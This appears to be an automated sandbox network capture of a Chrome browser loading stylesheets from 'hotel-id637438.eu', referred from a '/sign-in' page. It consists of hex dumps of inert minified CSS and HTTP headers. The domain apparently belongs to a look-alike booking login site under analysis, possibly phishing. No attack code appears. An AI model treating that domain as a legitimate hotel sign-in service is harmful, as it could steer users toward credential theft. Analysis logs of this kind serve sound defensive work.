2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 69 6e 2d 68 65 69 67 68 74 2d 2d 6d 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 69 6e 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 69 6e 2d 68 65 69 67 68 74 2d 2d 6d 29 7d 2e 67 61 65 37 54 69 75 36 52 35 31 4e 43 45 53 33 56 4f 78 4e 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 6d 69 6e 2d 68 65 69 67 68 74 2d 2d 6d 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 6d 69 6e 2d 68 65 69 67 68 74 2d 2d 6d 29 2a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 29 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 Data Ascii: -bui_mixin_min-height--m"]{--bui_mixin_min-height:var(--bui_mixin_min-height--m)}.gae7Tiu6R51NCES3VOxN[style="--bui_mixin_spaced_min-height--m"]{--bui_mixin_min-height:calc(var(--bui_mixin_spaced_min-height--m)var(--bui_spacing_1x))}}@media (min-width:1
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 69 5f 6d 69 78 69 6e 5f 6d 61 78 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 6d 61 78 2d 68 65 69 67 68 74 2d 2d 6d 29 2a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 29 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 32 34 70 78 29 7b 2e 65 36 45 57 46 58 74 34 68 43 67 4c 38 7a 52 76 74 54 4b 77 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 61 78 2d 68 65 69 67 68 74 2d 2d 6c 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 61 78 2d 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 61 78 2d 68 65 69 67 68 74 2d 2d 6c 29 7d 2e 65 36 45 57 46 58 74 34 68 43 67 4c 38 7a 52 76 74 54 4b 77 5b 73 74 79 6c 65 2a 3d 22 2d Data Ascii: i_mixin_max-height:calc(var(--bui_mixin_spaced_max-height--m)var(--bui_spacing_1x))}}@media (min-width:1024px){.e6EWFXt4hCgL8zRvtTKw[style="--bui_mixin_max-height--l"]{--bui_mixin_max-height:var(--bui_mixin_max-height--l)}.e6EWFXt4hCgL8zRvtTKw[style*="-
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 59 49 59 79 50 52 68 6b 35 4f 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 77 69 64 74 68 2d 2d 6c 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 77 69 64 74 68 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 77 69 64 74 68 2d 2d 6c 29 2a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 29 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 32 38 30 70 78 29 7b 2e 6a 34 68 59 59 7a 32 33 62 61 59 49 59 79 50 52 68 6b 35 4f 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 77 69 64 74 68 2d 2d 78 6c 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 77 69 64 74 68 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 77 69 64 74 68 2d 2d 78 6c 29 7d 2e Data Ascii: YIYyPRhk5O[style="--bui_mixin_spaced_width--l"]{--bui_mixin_width:calc(var(--bui_mixin_spaced_width--l)var(--bui_spacing_1x))}}@media (min-width:1280px){.j4hYYz23baYIYyPRhk5O[style*="--bui_mixin_width--xl"]{--bui_mixin_width:var(--bui_mixin_width--xl)}.
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 2d 77 69 64 74 68 2d 2d 78 6c 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 69 6e 2d 77 69 64 74 68 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 69 6e 2d 77 69 64 74 68 2d 2d 78 6c 29 7d 2e 42 44 31 54 49 63 57 59 72 73 41 32 78 70 79 32 54 6d 4a 43 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 6d 69 6e 2d 77 69 64 74 68 2d 2d 78 6c 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 6d 69 6e 2d 77 69 64 74 68 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 6d 69 6e 2d 77 69 64 74 68 2d 2d 78 6c 29 2a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 29 7d 7d 2e 41 48 6a 31 50 59 43 6f 53 69 4d 66 45 53 32 66 78 65 6e 38 7b 6d 61 78 2d 77 69 64 74 68 3a 76 61 72 Data Ascii: -width--xl"]{--bui_mixin_min-width:var(--bui_mixin_min-width--xl)}.BD1TIcWYrsA2xpy2TmJC[style="--bui_mixin_spaced_min-width--xl"]{--bui_mixin_min-width:calc(var(--bui_mixin_spaced_min-width--xl)var(--bui_spacing_1x))}}.AHj1PYCoSiMfES2fxen8{max-width:var
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 61 63 65 64 5f 6d 61 78 2d 77 69 64 74 68 2d 2d 78 6c 29 2a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 29 7d 7d 2e 4c 6b 56 33 71 47 4f 45 77 78 39 6d 64 45 76 30 73 50 70 65 7b 69 6e 73 65 74 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 69 6e 73 65 74 29 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 4c 6b 56 33 71 47 4f 45 77 78 39 6d 64 45 76 30 73 50 70 65 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 69 6e 73 65 74 2d 2d 73 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 69 6e 73 65 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 69 6e 73 65 74 2d 2d 73 29 2a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e Data Ascii: aced_max-width--xl)var(--bui_spacing_1x))}}.LkV3qGOEwx9mdEv0sPpe{inset:var(--bui_mixin_inset)!important}.LkV3qGOEwx9mdEv0sPpe[style="--bui_mixin_spaced_inset--s"]{--bui_mixin_inset:calc(var(--bui_mixin_spaced_inset--s)*var(--bui_spacing_1x))}@media (min
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 75 69 5f 6d 69 78 69 6e 5f 69 6e 73 65 74 2d 62 6c 6f 63 6b 2d 73 74 61 72 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 69 6e 73 65 74 2d 62 6c 6f 63 6b 2d 73 74 61 72 74 2d 2d 6d 29 2a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 29 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 32 34 70 78 29 7b 2e 4c 66 34 63 47 44 54 48 4e 34 68 70 77 4f 4c 59 6c 70 39 72 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 69 6e 73 65 74 2d 62 6c 6f 63 6b 2d 73 74 61 72 74 2d 2d 6c 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 69 6e 73 65 74 2d 62 6c 6f 63 6b 2d 73 74 61 72 74 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 69 6e 73 65 74 2d 62 6c 6f 63 6b 2d 73 74 61 72 74 Data Ascii: ui_mixin_inset-block-start:calc(var(--bui_mixin_spaced_inset-block-start--m)var(--bui_spacing_1x))}}@media (min-width:1024px){.Lf4cGDTHN4hpwOLYlp9r[style="--bui_mixin_inset-block-start--l"]{--bui_mixin_inset-block-start:var(--bui_mixin_inset-block-start
2024-07-08 22:43:25 UTC	1369	IN	Data Raw: 2d 6d 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 69 6e 73 65 74 2d 62 6c 6f 63 6b 2d 65 6e 64 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 73 70 61 63 65 64 5f 69 6e 73 65 74 2d 62 6c 6f 63 6b 2d 65 6e 64 2d 2d 6d 29 2a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 29 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 32 34 70 78 29 7b 2e 61 53 72 35 79 49 70 6b 58 6f 44 54 78 46 68 44 77 6d 69 53 5b 73 74 79 6c 65 2a 3d 22 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 69 6e 73 65 74 2d 62 6c 6f 63 6b 2d 65 6e 64 2d 2d 6c 22 5d 7b 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 69 6e 73 65 74 2d 62 6c 6f 63 6b 2d 65 6e 64 3a 76 61 72 28 2d 2d 62 75 69 5f 6d 69 78 69 6e 5f 69 6e 73 65 74 2d 62 6c 6f 63 6b 2d 65 6e 64 2d 2d Data Ascii: -m"]{--bui_mixin_inset-block-end:calc(var(--bui_mixin_spaced_inset-block-end--m)var(--bui_spacing_1x))}}@media (min-width:1024px){.aSr5yIpkXoDTxFhDwmiS[style="--bui_mixin_inset-block-end--l"]{--bui_mixin_inset-block-end:var(--bui_mixin_inset-block-end--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49720	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:26 UTC	575	OUT	GET /static/589_8e0f43f6ce9d2e229cb8.css HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:26 UTC	726	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:26 GMT Content-Type: text/css; charset=utf-8 Content-Length: 271865 Connection: close last-modified: Sat, 06 Jul 2024 13:10:52 GMT etag: "cc0c9cd13db9296dd881de003ff9ced3" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6877 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AY4jRcccrAMZoR8QGoaXLaT%2B78xcA2IpABLkpxyDFxximtdxXjZkPZvK9HfS3PDaxgqg4I0aI5EL%2Bsgd9DOkmtpXfuSqZ%2F9b4M%2BW4BDlMfMmcGsUa9JiVuvqOn7%2FVF7bmrdAuw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397d8ed727d1c-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:26 UTC	643	IN	Data Raw: 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 37 35 70 78 29 7b 2e 46 62 54 4d 58 6f 4e 71 59 57 6b 77 37 49 34 79 62 4b 67 43 7b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 73 74 61 72 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 2a 2d 31 29 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 6d 61 72 67 69 6e 2d 65 6e 64 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 34 78 29 2a 2d 31 29 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 73 74 61 72 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 65 6e 64 3a 30 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 30 21 69 6d Data Ascii: @media (max-width:575px){.FbTMXoNqYWkw7I4ybKgC{-webkit-margin-start:calc(var(--bui_spacing_4x)-1)!important;-webkit-margin-end:calc(var(--bui_spacing_4x)-1)!important;-webkit-border-start:0!important;-webkit-border-end:0!important;border-inline-end:0!im
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 69 5f 65 61 73 69 6e 67 2d 73 6c 6f 77 2d 6f 75 74 29 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 6f 70 61 63 69 74 79 2c 74 72 61 6e 73 66 6f 72 6d 2c 76 69 73 69 62 69 6c 69 74 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 62 75 69 5f 7a 5f 69 6e 64 65 78 5f 34 29 7d 2e 6a 5a 54 38 58 46 47 32 46 44 4a 75 39 68 51 57 36 79 37 61 20 2e 43 79 46 6a 6f 79 5a 6d 6d 44 73 4c 4e 31 79 72 77 72 54 42 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 61 6c 6c 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 2e 6a 5a 54 38 58 46 47 32 46 44 4a 75 39 68 51 57 36 79 37 61 2e 4e 32 64 4f 44 66 42 77 6d 34 68 6e 4b 66 4c Data Ascii: i_easing-slow-out);transition-property:opacity,transform,visibility;visibility:hidden;z-index:var(--bui_z_index_4)}.jZT8XFG2FDJu9hQW6y7a .CyFjoyZmmDsLN1yrwrTB{display:inline-block;pointer-events:all;vertical-align:top}.jZT8XFG2FDJu9hQW6y7a.N2dODfBwm4hnKfL
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 56 55 30 66 6d 53 38 49 36 4e 52 70 51 77 77 2e 69 5a 73 48 58 42 38 42 64 64 6a 72 55 49 38 43 37 65 75 68 2c 2e 6a 5a 54 38 58 46 47 32 46 44 4a 75 39 68 51 57 36 79 37 61 2e 57 32 34 46 64 33 7a 5a 63 6e 38 52 31 38 59 61 76 34 41 50 2e 69 5a 73 48 58 42 38 42 64 64 6a 72 55 49 38 43 37 65 75 68 2c 2e 6a 5a 54 38 58 46 47 32 46 44 4a 75 39 68 51 57 36 79 37 61 2e 66 4d 30 42 31 32 32 30 75 35 46 4d 45 39 67 6e 48 63 7a 43 2e 69 5a 73 48 58 42 38 42 64 64 6a 72 55 49 38 43 37 65 75 68 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 32 78 29 2a 2d 31 29 29 7d 2e 6a 5a 54 38 58 46 47 32 46 44 4a 75 39 68 51 57 36 79 37 61 2e 48 50 4a 32 5a 56 57 63 4a 39 51 4c 46 76 4b 38 Data Ascii: VU0fmS8I6NRpQww.iZsHXB8BddjrUI8C7euh,.jZT8XFG2FDJu9hQW6y7a.W24Fd3zZcn8R18Yav4AP.iZsHXB8BddjrUI8C7euh,.jZT8XFG2FDJu9hQW6y7a.fM0B1220u5FME9gnHczC.iZsHXB8BddjrUI8C7euh{transform:translate(calc(var(--bui_spacing_2x)*-1))}.jZT8XFG2FDJu9hQW6y7a.HPJ2ZVWcJ9QLFvK8
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 30 25 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 35 30 25 29 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 20 72 6f 74 61 74 65 28 2d 34 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 63 65 6e 74 65 72 7d 2e 65 6d 39 52 46 4e 4f 33 44 57 49 33 5f 54 70 34 77 51 51 51 3e 73 70 61 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 2e 65 6d 39 52 46 4e 4f 33 44 57 49 33 5f 54 70 34 77 51 51 51 3e 73 70 61 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 2c 2e 7a 42 51 73 56 73 48 77 6a 43 75 34 7a 56 6d 72 53 6c 74 4e 3e 73 70 61 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 2e 7a 42 51 73 56 73 48 77 6a 43 75 34 7a 56 6d 72 53 6c 74 4e 3e 73 70 61 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6c 65 66 74 3a 35 30 25 3b 72 69 67 68 74 3a Data Ascii: 0%;transform:translateX(-50%) translateY(-50%) rotate(-45deg);transform-origin:center}.em9RFNO3DWI3_Tp4wQQQ>span:first-child,.em9RFNO3DWI3_Tp4wQQQ>span:last-child,.zBQsVsHwjCu4zVmrSltN>span:first-child,.zBQsVsHwjCu4zVmrSltN>span:last-child{left:50%;right:
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 28 2d 2d 62 75 69 2d 66 6c 79 6f 75 74 2d 61 72 72 6f 77 2d 6f 66 66 73 65 74 29 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 20 72 69 67 68 74 7d 2e 70 48 66 71 62 52 38 7a 53 61 47 78 58 6f 31 71 47 68 4f 5f 3e 73 70 61 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 2e 70 48 66 71 62 52 38 7a 53 61 47 78 58 6f 31 71 47 68 4f 5f 3e 73 70 61 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6c 65 66 74 3a 31 30 30 25 3b 72 69 67 68 74 3a 61 75 74 6f 3b 74 6f 70 3a 76 61 72 28 2d 2d 62 75 69 2d 66 6c 79 6f 75 74 2d 61 72 72 6f 77 2d 6f 66 66 73 65 74 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 Data Ascii: (--bui-flyout-arrow-offset);top:0;transform:rotate(45deg);transform-origin:top right}.pHfqbR8zSaGxXo1qGhO_>span:first-child,.pHfqbR8zSaGxXo1qGhO_>span:last-child{left:100%;right:auto;top:var(--bui-flyout-arrow-offset);transform:rotate(45deg);transform-ori
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 63 69 6e 67 5f 36 78 29 7d 2e 47 61 72 4f 36 76 43 7a 52 69 6a 6a 59 31 6a 46 58 30 66 63 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 2a 37 29 7d 2e 59 4c 51 79 61 5f 34 55 62 61 62 64 44 79 55 68 57 61 75 6c 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 2a 39 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 37 36 70 78 29 7b 2e 4a 7a 34 6b 72 73 34 4b 78 46 63 33 50 50 34 4e 69 74 63 43 7b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 33 78 29 7d 2e 64 61 46 38 47 59 46 66 7a 74 5f 52 45 4d 39 36 75 68 53 43 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f Data Ascii: cing_6x)}.GarO6vCzRijjY1jFX0fc{height:calc(var(--bui_spacing_1x)7)}.YLQya_4UbabdDyUhWaul{height:calc(var(--bui_spacing_1x)9)}@media (min-width:576px){.Jz4krs4KxFc3PP4NitcC{height:var(--bui_spacing_3x)}.daF8GYFfzt_REM96uhSC{height:calc(var(--bui_spacing_
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 2a 37 29 7d 2e 46 7a 33 67 7a 70 79 66 6c 68 39 42 6c 6a 4c 67 50 66 57 72 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 62 75 69 5f 73 70 61 63 69 6e 67 5f 31 78 29 2a 39 29 7d 7d 2e 74 49 55 62 79 44 6a 75 44 57 7a 35 74 57 44 51 31 6b 46 32 7b 66 69 6c 6c 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 77 68 69 74 65 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 77 68 69 74 65 29 7d 2e 5a 59 31 43 72 32 75 35 31 6d 50 5f 33 44 48 77 68 4a 30 42 7b 66 69 6c 6c 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 66 6f 72 65 67 72 6f 75 6e 64 29 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 66 6f 72 65 67 72 6f 75 Data Ascii: i_spacing_1x)7)}.Fz3gzpyflh9BljLgPfWr{height:calc(var(--bui_spacing_1x)9)}}.tIUbyDjuDWz5tWDQ1kF2{fill:var(--bui_color_white);color:var(--bui_color_white)}.ZY1Cr2u51mP_3DHwhJ0B{fill:var(--bui_color_action_foreground);color:var(--bui_color_action_foregrou
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 49 32 58 36 5b 72 6f 6c 65 3d 62 75 74 74 6f 6e 5d 2c 61 2e 5f 4e 4d 65 57 34 75 46 4f 46 4e 45 66 42 6b 4a 49 32 58 36 2c 62 75 74 74 6f 6e 2e 5f 4e 4d 65 57 34 75 46 4f 46 4e 45 66 42 6b 4a 49 32 58 36 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 5f 4e 4d 65 57 34 75 46 4f 46 4e 45 66 42 6b 4a 49 32 58 36 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 31 30 7d 62 75 74 74 6f 6e 2e 5f 4e 4d 65 57 34 75 46 4f 46 4e 45 66 42 6b 4a 49 32 58 36 3a 61 63 74 69 76 65 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 31 70 78 29 7d 62 75 74 74 6f 6e 2e 5f 4e 4d 65 57 34 75 46 4f 46 4e 45 66 42 6b 4a 49 32 58 36 5b 64 69 73 61 62 6c 65 64 5d 7b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 7d 62 Data Ascii: I2X6[role=button],a._NMeW4uFOFNEfBkJI2X6,button._NMeW4uFOFNEfBkJI2X6{cursor:pointer}._NMeW4uFOFNEfBkJI2X6:focus{outline:none;z-index:10}button._NMeW4uFOFNEfBkJI2X6:active{transform:translateY(1px)}button._NMeW4uFOFNEfBkJI2X6[disabled]{cursor:not-allowed}b
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 5a 56 58 71 54 6f 77 66 32 79 36 55 41 75 46 4e 4d 34 3a 62 65 66 6f 72 65 2c 5b 64 69 72 3d 72 74 6c 5d 20 2e 61 4e 5a 56 58 71 54 6f 77 66 32 79 36 55 41 75 46 4e 4d 34 3a 62 65 66 6f 72 65 7b 6c 65 66 74 3a 61 75 74 6f 3b 72 69 67 68 74 3a 30 7d 2e 46 6b 74 48 43 46 45 6f 46 66 4f 35 6d 4d 47 78 4f 74 4d 38 3a 61 66 74 65 72 2c 2e 46 6b 74 48 43 46 45 6f 46 66 4f 35 6d 4d 47 78 4f 74 4d 38 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 76 61 72 28 2d 2d 62 75 69 5f 73 70 69 6e 6e 65 72 5f 69 6e 6e 65 72 5f 61 66 74 65 72 5f 62 6f 72 64 65 72 5f 77 69 64 74 68 29 3b 62 6f 74 74 6f 6d 3a 30 3b 63 6f 6e 74 65 6e Data Ascii: ZVXqTowf2y6UAuFNM4:before,[dir=rtl] .aNZVXqTowf2y6UAuFNM4:before{left:auto;right:0}.FktHCFEoFfO5mMGxOtM8:after,.FktHCFEoFfO5mMGxOtM8:before{border:solid transparent;border-radius:50%;border-width:var(--bui_spinner_inner_after_border_width);bottom:0;conten
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 4b 46 6e 42 48 68 68 43 7a 36 57 61 48 53 65 7a 48 6f 3a 61 66 74 65 72 2c 2e 5f 74 4b 46 6e 42 48 68 68 43 7a 36 57 61 48 53 65 7a 48 6f 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 63 75 72 72 65 6e 74 63 6f 6c 6f 72 7d 2e 5f 74 4b 46 6e 42 48 68 68 43 7a 36 57 61 48 53 65 7a 48 6f 20 2e 46 6b 74 48 43 46 45 6f 46 66 4f 35 6d 4d 47 78 4f 74 4d 38 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 63 6f 6c 6f 72 3b 6f 70 61 63 69 74 79 3a 2e 35 7d 2e 5f 74 4b 46 6e 42 48 68 68 43 7a 36 57 61 48 53 65 7a 48 6f 20 2e 46 6b 74 48 43 46 45 6f 46 66 4f 35 6d 4d 47 78 4f 74 4d 38 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 63 6f 6c 6f 72 3b 62 6f 72 64 65 72 2d Data Ascii: KFnBHhhCz6WaHSezHo:after,._tKFnBHhhCz6WaHSezHo:before{background:currentcolor}._tKFnBHhhCz6WaHSezHo .FktHCFEoFfO5mMGxOtM8:before{border-color:currentcolor;opacity:.5}._tKFnBHhhCz6WaHSezHo .FktHCFEoFfO5mMGxOtM8:after{border-right-color:currentcolor;border-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49719	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:26 UTC	574	OUT	GET /static/57_21f66738ac9c52ae5b72.css HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
